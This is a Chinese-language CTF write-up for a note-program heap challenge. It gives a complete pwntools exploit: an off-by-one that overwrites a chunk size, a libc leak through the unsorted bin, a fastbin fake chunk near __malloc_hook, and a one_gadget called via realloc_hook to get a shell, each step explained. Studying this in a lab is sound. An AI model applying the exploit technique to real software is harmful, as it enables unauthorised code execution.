一个笔记系统,先添加然后才能编辑,在编辑的时候,如果输入的 size 比之前创建的时候大 10 的话,就会造成 off by one
先放一下 exp
#coding:utf-8
from pwn import *
from LibcSearcher import *
p = process('./pwn')
#p = remote('node3.buuoj.cn',26046)
def cmd(choice):
p.sendlineafter('choice: ',str(choice))
def create(size):
cmd(1)
p.sendlineafter('size: ',str(size))
def write(index,size,content):
cmd(2)
p.sendlineafter('index: ',str(index))
p.sendlineafter('size: ',str(size))
p.sendlineafter('content: ',content)
def drop(index):
cmd(3)
p.sendlineafter('index: ',str(index))
def show(index):
cmd(4)
p.sendlineafter('index: ',str(index))
create(0x58) #0
create(0x60) #1
create(0x60) #2
create(0x60) #3
create(0x60) #4
write(0, 0x58 + 0xa, 'a'* 0x58 + '\xe1')
drop(1)
create(0x60) #5 = 1
show(2) #2 is unsortbin
p.recvuntil("content: ")
address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = address - 0x58 - 0x3c4b20
print hex(libc_base)
main_arean = address - 0x58
one = 0x4526a
realloc = libc_base + 0x846c0
print hex(realloc)
fake_chunk = main_arean - 0x33
create(0x60) #2(5)
drop(2)
write(5, 0x8, p64(fake_chunk))
create(0x60) #5 = 2
create(0x60) #6 fake chunk
realloc_addr=libc_base+libc.symbols['__libc_realloc']
payload = '\x00'*11 + p64(one + libc_base) + p64(realloc+2)
write(6, len(payload), payload)
gdb.attach(p)
create(255)
p.interactive()
希望把 chunk 放到 unsorted bin 中,然后通过 fd 指针来拿到 unsorted bin 的地址,从来获得 libc 的地址,但程序使用的是 colloc,他会把申请的内存块给清空,所以不能通过申请一个在 unsorted bin 范围内的 chunk,free 之后申请过来泄露地址,可以通过先申请几个,然后通过第 0 个的 off by one 把第 1 个的 size 给改掉,让他包含上第 2 个,然后把第一个 free 的时候,会把第 1 和 第 2 个一起放到 unsorted bin 中,然后申请回来第 1 个,这时候第二个的 fd 指针就指向了 unsorted bin 的地址
首先申请一些堆块
create(0x58) #0这一个必须要0x8结尾,不然的话没法溢出到size那里
create(0x60) #1
create(0x60) #2
create(0x60) #3
create(0x60) #4
然后对第 0 个进行编辑 write(0, 0x58 + 0xa, 'a'* 0x58 + '\xe1')
通过 off by one 把第 1 个的 size 给改成 0xe1
这时候 free 掉第 1 个,会放到 unsorted bin 中,然后他的 fd、bk 会指向 unsorted bin 的地址
这时候我们去把第 1 个申请回来,因为是 colloc 所以会置 0,但是我们可以用第 2 个来获得 unsorted bin 的地址
这个地址是 unsorted bin 链表的头部,跟 main_arena 的偏移固定 0x58,同时 main_arena 跟 libc 的偏移可以通过工具计算出来 https://github.com/bash-c/main_arena_offset
show(2) #2 is unsortbin
p.recvuntil("content: ")
address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = address - 0x58 - 0x3c4b20
然后再去申请 unsorted bin 中剩下的那块,这算第 5 个(第 2 个也指向他)
然后通过编辑第 5 个来修改他的 fd 的内容为 main_arean - 0x33 在 malloc_hook 附近,这个偏移是为了通过 size 的检查,这样能让他有个 0x7f 的 size
然后申请两次,就会申请到 fake_chunk(第 6 个),这时候编辑第六个的内容为
'\x00'*11 + p64(one + libc_base) + p64(realloc+2)
前面的 11 个 '\x00' 有 3 个是为了把错位给纠正过来,然后一个 0x10 是为了占空,再往后写就是覆写 relloc_hook 了,然后是 malloc_hook 的内容
这样写的原因是,one_gadget 的执行有时候需要一些条件
当不满足这些条件的时候,可以通过调用 realloc 函数调整 rsp
(可以试一下哪些可以正常用,比如这道题就是 realloc_addr+2)
所以上面意思是,先把 one_gadget 写到 realloc_hook 中,然后把 realloc_hook 写到 malloc_hook 中,当去 malloc 的时候会先去执行 malloc_hook(这里就是 realloc_hook),然后执行 realloc_hook 里的 one_gadget 从而拿到 shell